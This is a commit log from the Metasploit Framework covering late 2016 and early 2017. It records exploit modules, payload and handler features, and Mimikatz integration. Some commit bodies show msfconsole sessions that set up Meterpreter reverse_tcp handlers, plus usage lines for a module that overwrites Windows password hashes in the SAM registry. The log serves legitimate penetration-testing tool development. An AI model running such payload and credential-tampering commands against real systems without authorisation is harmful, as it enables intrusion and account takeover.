Compare commits

...

955 Commits

Author SHA1 Message Date
William Vu 969df408c7 Land #7786, Microsoft Edge constant for HttpClient 2017-01-05 21:07:57 -06:00
dmohanty-r7 a5665d53f2 Land #7766, Add Automatic Targeting to all Exploits 2017-01-05 11:05:53 -06:00
Carter c42295b9ac Delete extraneous documentation 2017-01-04 22:44:44 -05:00
Carter 55ccfa7679 fix doc location from previous branch 2017-01-04 22:32:44 -05:00
Carter e85721113a Add Edge to constants 2017-01-04 22:20:42 -05:00
William Vu 19319f15d4 Land #7626, Eir D1000 modem exploit 2017-01-04 17:02:39 -06:00
Metasploit 7ef4db1465 Bump version of framework to 4.13.11 2017-01-04 14:53:33 -08:00
William Vu b0e79076fe Switch to wget CmdStager and tune timing
We don't want to trample the device with requests.
2017-01-04 16:42:53 -06:00
William Vu 94d76cfb06 Merge remote-tracking branch 'upstream/master' into tr-069-ntpserver-command-injection 2017-01-03 17:04:04 -06:00
Brent Cook 7585999e18 Land #7782, Update themoon exploit to use wget command stager 2017-01-03 16:30:12 -06:00
wchen-r7 ed74b239e3 Land #7768, PHPMailer Sendmail Argument Injection exploit 2017-01-03 16:04:05 -06:00
wchen-r7 3155af679a Fix a typo 2017-01-03 16:03:45 -06:00
Adam Cammack fe0a3c8669 Update themoon exploit to use wget command stager 2017-01-03 15:50:57 -06:00
David Maloney dcd7ba11bf update mdm
update mdm to use the new os family
2017-01-03 15:04:15 -06:00
David Maloney 31d36d9112 if autotargeting fails fall back
fallback to the original first target if auto-targeting fails
2017-01-03 14:38:52 -06:00
David Maloney 9dc4ee57b6 minor fixes to linux example module
fixed a copy paste error in the linux_autotarget
test exploit and added actual linux targets to it
2017-01-03 14:38:52 -06:00
David Maloney 5fd531028c ome minor guards and spec fixes
some minor conditional guards and spec fixes
2017-01-03 14:38:51 -06:00
David Maloney 5b512819c8 revert testing changes from gemfile
MS-2325
2017-01-03 14:38:51 -06:00
David Maloney 2d5158403b add YARD docs to auto target methods
added YARD docs

MS-2325
2017-01-03 14:38:51 -06:00
David Maloney a61b92aa3e tweak target selection
the target selection actually adjust the datastore
as if a user selected the target, this prevents
a mismatch between the target and the target index

MS-2325
2017-01-03 14:38:51 -06:00
David Maloney 3d2957dff1 tying it all together
insert our autotarget routine into
the main target selection process

MS-2325
2017-01-03 14:38:50 -06:00
David Maloney 44830dfc54 prefer authour's target over ours
if the module authour added an automatic target
we skip our routine, to let the module's own automatic targeting
take over as it likely be better

MS-2325
2017-01-03 14:38:50 -06:00
David Maloney 1afc57da40 determine most precise filter
drop back to our most precise level of filtering

MS-2325
2017-01-03 14:38:50 -06:00
David Maloney 201b65e43d remaining os filtering
now can filter by os name and service pack
need to do final logic to turn that into an actual
target selection

MS-2325
2017-01-03 14:38:50 -06:00
David Maloney 05ac2ee6ed convert first stage to os_family
added the new os-family column to Host
so now we use that as our first stage filter
for targets

MS-2325
2017-01-03 14:38:49 -06:00
David Maloney 95d5c7a778 filtering by os_name
targets now filtered by OS name, but a little
more processing may be needed on this part because
it looks like what you'd expect in os_flavor gets jammed
into name instead

MS-2325
2017-01-03 14:38:49 -06:00
David Maloney f107408389 target_host specs
add specs for finding the 'target host' ie.
the mdm::Host object related to the RHOST value
to see what we know about our target

MS-2325
2017-01-03 14:38:49 -06:00
David Maloney 4060e63b89 add tests for auto target addition
tests to make sure we add auto targets only
in the appropriate conditions

MS-2325
2017-01-03 14:38:49 -06:00
David Maloney 84d5e42e4f start gearing up for testing
start getting auto-targeting test framework in place
so we can have unit tests for this behaviour

MS-2325
2017-01-03 14:38:45 -06:00
David Maloney 769d477e97 if no automatic target defined, add one
if an exploit does not have a defined automatic target
then we add one in for our fallback auto-targeting

MS-2325
2017-01-03 13:54:34 -06:00
William Vu f25ced04af Update rex-exploitation to 0.1.8 2017-01-03 12:04:18 -06:00
Brent Cook 3808eebad8 Land #7704, Update jobs output to show TCP listener information 2017-01-02 15:44:49 -06:00
Brent Cook d9be9f3b2e Land #7764, add to_handler command to launch a handler from the payload module 2017-01-02 15:40:38 -06:00
Brent Cook 35bb725f19 rubocop fixes for payload dispatcher 2017-01-02 15:39:48 -06:00
William Vu 640aa33e3a Land #7775, CVE ref fix and other ref updates 2017-01-01 23:27:33 -06:00
William Vu 4264521354 Fix broken CVE reference and update links
Prefer HTTPS over HTTP, too.
2017-01-01 21:33:59 -06:00
William Vu f1fa65b9a3 Land #7772, database check for WMAP 2016-12-31 17:41:51 -06:00
William Vu ac28c70dab Add database check to WMAP plugin 2016-12-31 17:39:46 -06:00
William Vu 73d454387c Fix #7765, additional fixes for history command
1. Really fix crash by restoring default behavior
2. Add whitespace padding to command number
3. Refactor logic a bit for clarity
2016-12-30 18:21:24 -06:00
William Vu 3ff74f019d Fix #7765, history command fixes and improvements
1. Fix crash when no arguments are specified
2. Print history index starting at 1 like every shell
3. Fixed wording/phrasing
4. Fixed formatting/whitespace
2016-12-30 17:35:18 -06:00
Adam Cammack c2fec5db82 Land #7770, Improve TCP channel handling 2016-12-30 15:17:18 -06:00
Brent Cook fdca963b61 check if the socket exists before closing 2016-12-30 14:59:31 -06:00
Brent Cook bb684bb3b1 tcp channel fixes 2016-12-30 14:59:10 -06:00
Spencer McIntyre cd90fd3b1c Fix PHPMailer targets since 5.2.20 is not affected 2016-12-30 15:31:15 -05:00
h00die 2856facdf0 Land #7765, adds the history command to msfconsole 2016-12-30 14:54:32 -05:00
Luis Fontes e729254b4f minor tweaks
added dots to the end of lines,
checked val for nil before runing match
2016-12-30 19:30:01 +00:00
Spencer McIntyre 1eab4b3a7d Add an optional explicit triggeruri for phpmailer 2016-12-30 14:24:07 -05:00
Luis Fontes f073e78838 replaced hardcoded value variable 2016-12-30 08:49:13 +00:00
Brent Cook d2624ef574 Land #7758, Add HTTP CmdStagers - wget and curl 2016-12-30 02:13:45 -06:00
William Vu 36e0bad421 Update rex-exploitation to 0.1.7 2016-12-30 00:56:02 -06:00
William Vu 0321000ea7 Update Http mixin for opts[:ssl]
1. Add opts[:ssl]
2. Remove opts[:busybox]
3. Refactor logic
4. Remove resource_uri
2016-12-30 00:56:02 -06:00
William Vu 34d358b8d7 Update CmdStager with new toys 2016-12-30 00:56:02 -06:00
William Vu 58dd59fad5 Add Http mixin for CmdStager 2016-12-30 00:56:02 -06:00
Spencer McIntyre 64037b0d6e Use a proper target instead of VERSION 2016-12-29 17:37:16 -05:00
Brent Cook fae4751771 Land #7744, update kiwi extension to Mimikatz 2.1 2016-12-29 16:22:45 -06:00
Spencer McIntyre c9dd7a50b6 Add the PHPMailer Argument Injection exploit 2016-12-29 17:17:06 -05:00
Brent Cook cd950e91a9 bump payloads gem 2016-12-29 15:59:07 -06:00
Luis Fontes 968286657e Added the command menu option 2016-12-29 17:44:09 +00:00
Luis Fontes e7249742b3 Added the history command
Added the "history" command to see a list of commands used before.

```
msf exploit(handler) > history -n 4
2344  set PAYLOAD windows/meterpreter/reverse_tcp
2345  set LHOST 10.0.1.109
2346  exploit
2347  history -n 4
msf exploit(handler) > history -h
Usage: history [options]

Show the command history


OPTIONS:

    -a        Show length commands in history
    -h        Help banner.
    -n <opt>  Show the last n commands

msf exploit(handler) > 
```
2016-12-29 17:03:54 +00:00
Luis Fontes cb0a7986bf Added to_handler command
This commit adds a "to_handler" command to msfconsole when "using" a payload.

After generating a payload from msfconsole, we needed to set multi/handler and the payload with the same param as we used to generate it. That was really boring...
The to_handler command creates the handler and sets the payload and the options set for it.

### Example Output:





```
msf > use payload/windows/meterpreter_reverse_tcp 
msf payload(meterpreter_reverse_tcp) > set LHOST 10.0.1.109
LHOST => 10.0.1.109
msf payload(meterpreter_reverse_tcp) > set LPORT 3377
LPORT => 3377
msf payload(meterpreter_reverse_tcp) > show options

Module options (payload/windows/meterpreter_reverse_tcp):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   EXITFUNC    process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   EXTENSIONS                   no        Comma-separate list of extensions to load
   EXTINIT                      no        Initialization strings for extensions
   LHOST       10.0.1.109       yes       The listen address
   LPORT       3377             yes       The listen port

msf payload(meterpreter_reverse_tcp) > to_handler
[*] Payload Handler Started as Job 0
[*] Started reverse TCP handler on 10.0.1.109:3377 
[*] Starting the payload handler...
msf payload(meterpreter_reverse_tcp) > 
```
2016-12-28 20:03:40 +00:00
bwatters_r7 4906b8a85a LAND #7760, prevent duplicate UUIDs when generating Android HTTP/S payloads 2016-12-28 10:48:36 -06:00
William Vu 9d0ada9b83 Land #7749, make drb_remote_codeexec great again 2016-12-28 06:11:48 -06:00
William Vu cfca4b121c Clean up module 2016-12-28 06:10:46 -06:00
William Vu 524402ac4b Land #7762, nil fix for generic/custom 2016-12-28 05:52:09 -06:00
William Vu 29d6cf4480 Fix nil bug in generic/custom and change opt order
I think PAYLOADSTR should take precedence over PAYLOADFILE. Usually,
you'll use PAYLOADFILE but might want to override with PAYLOADSTR. I
doubt this change will hurt anyone, since few people set both at once.
The payload description even says "either," so there's that.
2016-12-28 05:15:25 -06:00
William Vu afd8315e1d Remove apache_continuum_cmd_exec CmdStager flavor
It is inferred from the platform, and we don't want to override it
needlessly. :bourne is what worked during testing, but it won't always
work. Now we can override the flavor with CMDSTAGER::FLAVOR.
2016-12-27 16:24:16 -06:00
William Vu 9dc1b4dd86 Land #7761, show info tab completion 2016-12-27 16:02:03 -06:00
Brent Cook a4950a1598 add auto-complete info for 'show info'
msf > use auxiliary/admin/http/nuuo_nvrmini_reset
msf auxiliary(nuuo_nvrmini_reset) > show
show actions    show all        show encoders   show exploits   show missing    show options    show plugins    show targets
show advanced   show auxiliary  show evasion    show info       show nops       show payloads   show post
2016-12-27 15:48:41 -06:00
Brent Cook e74239b30f allow reusing the already-generated payload uuid in generate_uri_uuid_mode 2016-12-27 15:37:39 -06:00
bwatters_r7 a580055491 Land #7730, add module to run exe as another user via powershell 2016-12-27 08:13:48 -06:00
William Vu ac4eae2e0f Land #7752, moar Chromecast docs 2016-12-25 20:36:39 -06:00
William Vu 85912be7a3 Fix missing word in chromecast_wifi.md 2016-12-25 20:24:36 -06:00
William Vu a7debd09fd Fix broken YouTube link in firetv_youtube
Guess it's back to Epic Sax Guy. :-)
2016-12-25 20:22:07 -06:00
h00die 78dc2b0f5e more chromecast documentation 2016-12-25 20:50:06 -05:00
William Vu 76593371b1 Land #7751, reboot action for chromecast_reset 2016-12-25 15:22:13 -06:00
William Vu 6bb0f3207d Add reboot action to chromecast_reset 2016-12-25 15:20:46 -06:00
William Vu f345dbb78d Land #7750, module docs for chromecast_wifi 2016-12-25 14:50:34 -06:00
William Vu 931c052399 Move to chromecast_wifi.md to match module name
We're already in aux/scanner, so the meat of the module name is there.
2016-12-25 14:49:16 -06:00
h00die 8cfcbac2fc docs for shromecast_wifi_scan 2016-12-25 11:47:49 -05:00
h00die 699da8df5b Land #7746, chromecast_wifi now uses Scanner 2016-12-25 11:36:31 -05:00
Brent Cook 10e419e979 Land #7454, add CVE-2013-6282, put_user/get_user exploit for Android 2016-12-24 14:46:54 -06:00
Brent Cook 57e4bcbf71 Land #7454, add CVE-2013-6282, put_user/get_user exploit for Android 2016-12-24 14:44:34 -06:00
Jon Hart a3e8cfd018 Merge branch 'pr/9' into feature/chromecast_wifi_scan 2016-12-24 12:20:02 -08:00
Jon Hart 8edac51a58 Merge branch 'upstream-master' into feature/chromecast_wifi_scan 2016-12-24 12:18:53 -08:00
Tim de9b8da12e add device information to documentation 2016-12-24 15:34:02 +05:30
wchen-r7 8b816feab6 Land #7748, fix travis failure for pgsql and base Ubuntu test env 2016-12-23 16:54:48 -06:00
Brent Cook f4f0205bde update to trusty 2016-12-23 16:47:03 -06:00
Brent Cook f407451d68 update pgsql 2016-12-23 16:47:03 -06:00
William Vu 0589948a73 Remove other rhost (oops) and fail_with 2016-12-23 16:10:21 -06:00
Jon Hart b4235835c8 rhost -> ip 2016-12-23 13:20:24 -08:00
Jon Hart 60e602c371 Update chromecast wifi gather module to use Scanner for scanning in bulk 2016-12-23 11:34:19 -08:00
Metasploit f50fa516f4 Bump version of framework to 4.13.10 2016-12-23 10:01:58 -08:00
Tim 16f2dc43e0 add documentation for put_user_vroot 2016-12-24 00:33:48 +08:00
joernchen of Phenoelit 679ebf31bd Minor fix to make dRuby great again 2016-12-23 15:12:22 +01:00
OJ 99da91e278 Adjust golden ticket creation to force params when SYSTEM 2016-12-23 20:29:00 +10:00
OJ 894ed4957f Add help where appropriate 2016-12-23 10:51:33 +10:00
OJ 18e69b85af Update the golden ticket module to work with new kiwi 2016-12-23 10:30:06 +10:00
OJ 93a280dfc1 Merge upstream/master ready for PR 2016-12-23 10:20:53 +10:00
OJ 34e3a17fda Remove unused Kiwi TLVs 2016-12-23 09:57:57 +10:00
William Webb 5702bd6745 Land #7674, Move migration stub generation code into msf 2016-12-22 17:53:00 -06:00
William Webb ea704211ca incorporate payload stub generation changes 2016-12-22 17:50:43 -06:00
OJ 4c150a10c2 Update to use new base64 flags for kiwi 2016-12-23 09:40:11 +10:00
OJ c97e6ae1e8 Handle stupid merge from OJ's upstream 2016-12-23 09:00:27 +10:00
OJ e6e2388256 SSP creds and golden tickets 2016-12-23 08:34:16 +10:00
Louis Nacfaire d31846c5be Merge pull request #1 from bwatters-r7/land-7730
Please the rubocop gods (unless they are dumb)
2016-12-23 08:37:41 +11:00
wchen-r7 50db1e295f Land #7718, Fix undef method read_timeout in smb object 2016-12-22 15:12:51 -06:00
joernchen of Phenoelit d69acd116d Make dRuby great again 2016-12-22 15:37:16 +01:00
William Vu c5d7fba3bf Fix missing space 2016-12-22 03:36:58 -06:00
William Vu 934b05e736 Land #7310, at(1) persistence module 2016-12-22 03:33:58 -06:00
William Vu b65a62ba93 Clean up module 2016-12-22 03:33:08 -06:00
Brent Cook 2652f347fa add module binary 2016-12-22 03:25:10 -06:00
Brent Cook eeb1bdcff5 Land #7731, fix risk score and risk factor imports via nexpose plugin
Merge remote-tracking branch 'upstream/pr/7731' into upstream-master
2016-12-22 01:15:01 -06:00
Brent Cook 9e75866188 Land #7738, Add sort by column to services and hosts commands 2016-12-22 01:10:45 -06:00
Brent Cook 94f62bf849 Land #7733, update .mailmap 2016-12-22 00:59:37 -06:00
Brent Cook 09b5a7f162 refine rageltman, add rwhitcroft 2016-12-22 00:58:58 -06:00
Brent Cook f9d91d210d add sempervictus 2016-12-22 00:51:25 -06:00
Brent Cook 9ef3112299 move old R7 folks 2016-12-22 00:51:12 -06:00
Brent Cook 4abc5a5a2f revert unrelated changes 2016-12-22 00:36:41 -06:00
bwatters_r7 e646a8d5c2 Please the rubocop gods (unless they are dumb) 2016-12-21 16:13:53 -08:00
William Vu 445af29d07 Land #7739, async output revert until fixed 2016-12-21 00:40:54 -06:00
William Vu 4098c66efb Restore MinGW code and use =begin/=end for indent 2016-12-21 00:38:08 -06:00
William Vu 0221d2d904 Land #7735, make assigning payloads fast again! 2016-12-21 00:16:52 -06:00
William Vu f95136ce67 Prefer && over and 2016-12-21 00:16:33 -06:00
Brent Cook d0d84b418b disable async output until we have a better handle on new quirks 2016-12-20 23:50:43 -06:00
William Vu a8f36c2a2c Update spec 2016-12-20 23:32:28 -06:00
William Vu 574ebd07d7 Update cmd_hosts 2016-12-20 23:32:10 -06:00
h00die cc293f06fe Adds some fail safes to cmd_use 2016-12-20 22:08:41 -05:00
William Vu 60d5cefd68 Land #7727, nuke sess from orbit
Replace with consolidated sessions command.
2016-12-20 20:35:20 -06:00
William Vu 6e830a886e Land #7737, print_warning on session_compatible? 2016-12-20 20:11:11 -06:00
OJ 1098bc6d90 Warn user when session not compat instead of failing
This commit changes the post mixin so that the session compat check only
shows a warning rather than throwing an exception and stopping the
module from working completely.

This is off the back of the discussion involved with #7736
2016-12-21 11:14:52 +10:00
James Lee 26d8738950 Drop names so we can remove dup addresses 2016-12-20 18:45:36 -06:00
James Lee 7c300a0f9a Sort 2016-12-20 18:45:32 -06:00
James Lee e5c9945c8d Add h00die 2016-12-20 18:45:28 -06:00
William Vu 11e3e1f3dd Handle a couple more edge cases
I don't want to go any further down the rabbit hole.
2016-12-20 18:36:22 -06:00
William Vu 41605c533c Add reference name enforcement to cmd_use 2016-12-20 18:21:24 -06:00
Brent Cook efb015facc make assigning payload fast again
This streamlines the check for whether the currently-selected payload is
compatible on assignment. Rather than building the entire list of
compatible payloads, and seeing if what the user typed is in it (and
making multiple giant lists on the way), we simply check the module the
user typed directly.
2016-12-20 17:39:09 -06:00
p3nt4 13ccfd7bb3 Update run_as_psh.rb 2016-12-21 09:44:57 +11:00
p3nt4 a9b78e37d2 Update typos 2016-12-21 09:43:18 +11:00
p3nt4 cc99aaafc6 Corrected as per reviews 2016-12-21 09:42:26 +11:00
James Lee 5a09b5fea7 Add Adam's other email 2016-12-20 16:16:55 -06:00
p3nt4 7093fa3af0 Update run_as_psh.md 2016-12-21 09:14:52 +11:00
James Lee c908c6df26 Update mailmap
Add Jeffrey Martin, Adam Compton, and Jin Qian.

Drop names for most so only email addresses matter.
2016-12-20 16:01:14 -06:00
PartyImp 02cbbfd3f2 fixes #7707: risk_factor and risk_score in the nexpose plugin 2016-12-20 18:31:32 +00:00
OJ 0bca485858 Continue work on enabling kiwi functionality 2016-12-20 18:25:48 +10:00
p3nt4 50fde4849a Update run_as_psh.md 2016-12-20 15:17:43 +11:00
p3nt4 c8ba07b426 Update run_as_psh.md 2016-12-20 15:17:30 +11:00
p3nt4 b57677b362 Added docs 2016-12-20 14:48:29 +11:00
p3nt4 b9fd1db5fa Add module to runas ysing powershell 2016-12-20 14:38:19 +11:00
OJ ee4caba646 Remove terminal and tweak sessions
Hopefully everyone is now happy!
2016-12-20 07:50:07 +10:00
William Vu d9f5385260 Land #7720, regex fix for clansphere_traversal 2016-12-19 11:40:47 -06:00
OJ 74040c4ee6 Rename the sess command to terminal
Lots of people have been frustrated by the `sess` command as it mucks
with the autocomplete for `sessions`. This is a fair concern, especially
given that `sess` was intended to be a non-annoying shortcut.

This commit changes the `sess` command so that it is instead called
`terminal`. I couldn't think of a better option that didn't already
clash with another name or meaning. At least `terminal` is something
that doesn't clash, doesn't muck with any existin autocomplete rules,
and is in some way another name for the existing sessions.

Feedback appreciated!
2016-12-19 17:05:04 +10:00
Metasploit 3a998fada2 Bump version of framework to 4.13.9 2016-12-18 13:22:52 -08:00
Sonny Gonzalez 2e198ae2a8 Land #7721, better smtp connection error messages 2016-12-18 14:38:13 -06:00
Adam Cammack 62d8cc7b21 Handle some error conditions with SMTP delivery 2016-12-16 16:06:02 -06:00
Jin Qian da9ea0b85c Change the PCRE. 2016-12-16 15:41:10 -06:00
dmohanty-r7 f74fd9e5dd Land #7672, support LOCKED_OUT and DISABLED login status 2016-12-16 15:11:05 -06:00
jinq102030 378d8aea36 Merge pull request #7697 from h00die/fix_colorado
Fix ftp traversal error conditions
2016-12-16 13:51:15 -06:00
Justin Angel 318c0eda81 Update to line 126
Line originally references the read_timeout instance variable associated with the smb variable (line 118 || 120), which is an object of the simpleclient class that doesn't have a read_timeout instance variable. Updated the line to reference the client instance variable of smb, which does have a read_timeout variable. Testing this change appears to result in expected behavior.
2016-12-16 14:24:02 -05:00
Brendan 9b678c2bdd Land #7685, Add mosule to change user passwords by editing SAM registry 2016-12-16 13:11:40 -06:00
Metasploit c5c710f837 Bump version of framework to 4.13.8 2016-12-16 10:02:02 -08:00
jinq102030 f29c9a7c45 Merge pull request #7716 from acammack-r7/smtp-deliver-ssl
Make SMTP delivery work with a range of server SSL
2016-12-16 08:58:55 -06:00
David Maloney 8b02f422f7 add meterpreter cmd interaction to console
add the -C flag to the sessions command to trigger
meterpreter commands on sessions without going
full interactive
2016-12-15 23:17:06 -06:00
p3nt4 a3d13d2870 Update doc 2016-12-16 15:09:34 +11:00
p3nt4 4bfbd0134d Added Documentation 2016-12-16 15:08:39 +11:00
Carter cb870b3d07 Create reverse_tcp.md (#1) 2016-12-15 20:11:21 -05:00
Adam Cammack 47df88a5cc Make SMTP delivery work with a range of server SSL 2016-12-15 16:57:08 -06:00
William Vu 4a1f881f10 Land #7715, Rex::Ui::Text::Table rename
Should be Rex::Text::Table because of #7200.
2016-12-15 15:37:22 -06:00
Brent Cook 52346c3fa8 fix renamed rex text 2016-12-15 15:31:00 -06:00
wchen-r7 4ebf57ac50 Land #7712, Add php/meterpreter/reverse_tcp KB 2016-12-15 15:17:00 -06:00
wchen-r7 511e421b9c Move doc to the correct directory 2016-12-15 15:16:11 -06:00
David Maloney ca1cc11d9f Land #7713, scriptkittie fix for SessionLogging
lands a fix for loggers not handling a nil message
Fix for #7687
2016-12-15 14:42:40 -06:00
David Maloney e7eece60d8 add a nil catch to timestamp file sink
an additional nil guard is needed here just to be sure
2016-12-15 14:41:49 -06:00
Tim c2dc350378 better fix for session compatibility 2016-12-15 17:41:44 +08:00
Tim 3fdf9a0bee Revert "fix session compatibility"
This reverts commit 201ba41b89.
2016-12-15 17:33:41 +08:00
Tim 201ba41b89 fix session compatibility 2016-12-15 17:11:47 +08:00
cypher 27ba8f00df check for nil msg in print_error 2016-12-14 21:10:10 -08:00
Carter f377774de0 Create reverse_tcp.md 2016-12-14 11:45:16 -05:00
Brent Cook fa016de78a Land #7634, Implement universal HTTP/S handlers for Meterpreter payloads 2016-12-13 18:13:22 -06:00
Tim 3afa20a1af fix double \n in printf 2016-12-13 17:02:23 +08:00
Tim fe9972cc25 fork early and use WfsDelay 2016-12-13 17:02:23 +08:00
Tim 891fccb4e2 add pattern for GT-S7392 2016-12-13 17:02:23 +08:00
Tim 07ce7f3aed fix make run 2016-12-13 17:02:23 +08:00
Tim 7b7deb0588 better library cleanup 2016-12-13 17:02:23 +08:00
Tim 96b01effa7 cleanup library after use 2016-12-13 17:02:23 +08:00
Tim 9ece45a180 dont exit(0) when exploit fails 2016-12-13 17:02:23 +08:00
Tim 909773120c typos 2016-12-13 17:02:23 +08:00
Tim ebf7ae0739 add CVE-2013-6282, put_user/get_user exploit for Android 2016-12-13 17:02:23 +08:00
h00die b5beb2eb93 throw errors 2016-12-12 21:48:08 -05:00
William Vu ad7b3dac2d Account for negative indices 2016-12-12 14:24:24 -06:00
William Vu 4ad42784d3 Update spec 2016-12-12 14:24:24 -06:00
William Vu b9e9d97479 Add -O (order_by) to services (cmd_services) 2016-12-12 14:24:24 -06:00
Brent Cook 082a8949e4 Land #7694, Initial stageless mettle payloads 2016-12-12 13:01:31 -06:00
Jon Hart 7aa743b205 Land #7682, @godinezj's improvements to #7604 2016-12-12 10:54:15 -08:00
Jon Hart 446cb02ebc Document IAM_PASSWORD option 2016-12-12 10:43:27 -08:00
p3nt4 deec6eccdf Update hashcarve.rb 2016-12-12 17:09:04 +11:00
p3nt4 3e80ee1d6a Better Error Handling 2016-12-12 17:07:47 +11:00
OJ 505cc19662 Update reverse_tcp to show TCP listener information
Also update the readable text to only output the listener information if
it differs from the payload information.
2016-12-12 15:56:26 +10:00
William Vu cfca18906f Land #7702, persistence script platform fix 2016-12-11 19:35:43 -06:00
OJ 462e91ed22 Fix persistence script to work with new platform changes 2016-12-12 11:20:23 +10:00
h00die 2dca7c871b applying #7582 to all ftp aux traversals 2016-12-10 16:05:09 -05:00
OJ 609c8da772 Re-add wifi support, start work on kerberos stuff 2016-12-10 11:20:16 +10:00
Adam Cammack ccba73b324 Add stageless mettle for Linux/zarch 2016-12-09 18:30:52 -06:00
Adam Cammack 24cf756f5b Add stageless mettle for Linux/x86 2016-12-09 18:29:34 -06:00
Adam Cammack 62a9a31222 Add stageless mettle for Linux/x64 2016-12-09 18:28:29 -06:00
Adam Cammack 7d36d41b20 Add stageless mettle for Linux/ppc64le 2016-12-09 18:27:22 -06:00
Adam Cammack ee7d5fc0c9 Add stageless mettle for Linux/ppc 2016-12-09 18:25:57 -06:00
Adam Cammack 4570a7198c Add stageless mettle for Linux/mipsle 2016-12-09 18:24:12 -06:00
Adam Cammack 25b069f6b4 Add stageless mettle for Linux/mipsbe 2016-12-09 18:23:03 -06:00
Adam Cammack 7aec68c1fe Add stageless mettle for Linux/mips64 2016-12-09 18:21:52 -06:00
Adam Cammack 7a654ca76c Add stageless mettle for Linux/armle 2016-12-09 18:19:58 -06:00
Adam Cammack b74482aa6e Add stageless mettle for Linux/armbe 2016-12-09 18:18:22 -06:00
Adam Cammack 12b296ab1a Add stageless mettle for Linux/aarch64 2016-12-09 18:05:34 -06:00
William Vu f0dca7abbf Land #7692, print_error for error_sql_injection 2016-12-09 17:09:52 -06:00
William Vu 2b0bce6459 Land #7690, drupal_views_user_enum user count fix 2016-12-09 16:55:01 -06:00
William Vu 4e235be484 Ensure a trailing slash for base_uri
Technically, the GET parameters should be in vars_get, but we don't want
to refactor the entire module right now.
2016-12-09 16:53:58 -06:00
Jin Qian 8780c325a7 Fixed issues #7691, silent exit.
Add a print statement to alert user what is missing, user could be confused that "show missing" is empty yet something is missing.
2016-12-09 16:20:44 -06:00
dmohanty-r7 77dd952370 Land #7592, check nil return value when using redis_command 2016-12-09 16:07:12 -06:00
Jin Qian 17c12a78f5 Fixed issue #7689, count of found users not accurate
In module drupal_views_user_enum, the count of found users is not accurate.
Fixed it by doing flatten before doing counting.
2016-12-09 15:19:43 -06:00
Metasploit 12af07d8cb Bump version of framework to 4.13.7 2016-12-09 10:03:22 -08:00
David Maloney a267101413 Land #7670, bwatter's fix for prompt newline
land's brendan's fix for console output getting truncated
2016-12-09 10:44:46 -06:00
Brent Cook 50f95f9940 Land #7681, Get ready for stageless mettle 2016-12-09 09:31:47 -06:00
Brent Cook 6dcdf74850 bump mettle gem 2016-12-09 09:27:56 -06:00
p3nt4 7b4dce5e7e One left! 2016-12-09 16:27:40 +11:00
p3nt4 74c48f5fa4 I'll get there! 2016-12-09 16:24:49 +11:00
p3nt4 c898e768f6 Struggling with tidyness 2016-12-09 16:00:32 +11:00
p3nt4 586b2d92e2 Corrected status prints 2016-12-09 15:45:30 +11:00
p3nt4 fb360e69c0 Initial Commit
This module "carves" a hash in the registries to set it as a user password.

The benefits are:
1/ It doesn't change the password last change field
2/ You can set a hash directly, so you can change  a user's password and revert it without cracking its hash.

I have tested it in Windows 7, and 8.1. Should work on every version though.

Usage:
 run post/windows/manage/hashcarve user=test pass=<password>
 run post/windows/manage/hashcarve user=test pass=<nthash>
 run post/windows/manage/hashcarve user=test pass=<lmhash:nthash>

This work is based on the hashdump implementation.
2016-12-09 15:41:01 +11:00
Javier Godinez e9ce622db7 Updated README 2016-12-08 16:39:28 -08:00
Javier Godinez e0a06bb315 Updated README 2016-12-08 16:31:37 -08:00
Javier Godinez 0d41160b03 Sanity checks, errors out with nil ptr if API call fails 2016-12-08 16:14:10 -08:00
Javier Godinez a17d1a7e19 Added options for setting the PASSWORD and GROUPNAME 2016-12-08 16:13:31 -08:00
James Lee b9a7ed915a Land #7677, make sure the source file gets closed
... when downloading a file.
2016-12-08 16:50:23 -06:00
Adam Cammack eeef8fa6ad Add new arches to UUIDs 2016-12-08 16:29:43 -06:00
Jon Hart 4614b7023d Land #7604, @godinezj's post module for creating AWS IAM accounts 2016-12-08 14:26:22 -08:00
Jon Hart aa29fcad80 Update docs and pretty print the loot 2016-12-08 14:25:07 -08:00
godinezj 35340ece94 Merge pull request #2 from jhart-r7/pr/fixup-7604
More cleanup, allow setting of password for console access
2016-12-08 13:33:07 -08:00
Jon Hart 70668c289f Use better loot args 2016-12-08 13:14:36 -08:00
wchen-r7 7e0b224eb2 Make ABORT_ON_LOCKOUT non default 2016-12-08 15:07:53 -06:00
Jon Hart 3e412a8de3 Start documenting api/console create options 2016-12-08 12:59:54 -08:00
Jon Hart 162204b338 Support creating a password for the user, etc 2016-12-08 12:56:00 -08:00
Jon Hart aaa49550a7 Move call_api printing to verbose 2016-12-08 11:20:53 -08:00
Artem 9a7c0eb7b6 Fix cloe file 2016-12-08 21:28:39 +03:00
OJ d0696a09ad Move migration stub generation into MSF
This code adds support for transport-specific migration stubs to be
generated in MSF rather than having them hard-coded in Meterpreter.
2016-12-08 16:01:13 +10:00
wchen-r7 0110b97fa2 Fix #7671, support LOCKED_OUT and DISABLED login status
This allows login scanner modules to skip a user if it is
locked out, or disabled.

Fix #7671
2016-12-07 16:49:16 -06:00
wchen-r7 ba9ce3fcfb Land #7665, Add ABORT_ON_LOCKOUT option for smb_login 2016-12-07 15:52:50 -06:00
Pearce Barry 657fadbe01 Land #7662, Payload Handler Console Command 2016-12-07 14:48:44 -06:00
Brendan 7dd2d3e226 Fix the prompt again 2016-12-07 14:32:54 -06:00
David Maloney 74b3a00035 fix payload datastore merge
fix the way we merge the payload datastore in so
the options actually take
2016-12-07 14:04:42 -06:00
Javier Godinez 33add4c11f Updated spec to match latest changes 2016-12-07 11:32:08 -08:00
Javier Godinez ee0e5e8681 Updated README 2016-12-07 11:22:47 -08:00
Javier Godinez a9cb08a352 Token should be passed as nil if not set 2016-12-07 10:16:41 -08:00
Javier Godinez 99ba1e45ff Removed unused params 2016-12-07 10:10:09 -08:00
Metasploit a54c0c4e1f Bump version of framework to 4.13.6 2016-12-07 09:00:16 -08:00
godinezj 48c9e7dfd5 Merge pull request #1 from jhart-r7/pr/fixup-7604
Initial cleanup for #7604
2016-12-06 22:03:25 -08:00
William Vu 630d87907c Land #7666, metasploit-payloads 1.2.4 update 2016-12-06 23:12:45 -06:00
OJ b902b4c28a Update payload sizes 2016-12-07 15:08:45 +10:00
OJ 50b0c9ef5e Add tspkg support and fix parsing a little 2016-12-07 15:06:08 +10:00
OJ 7d316cb3e6 Begin work on parsing mimikatz output and handling more cmds 2016-12-07 15:06:08 +10:00
OJ 8f4621f424 Initial work to support the new kiwi extension 2016-12-07 15:05:02 +10:00
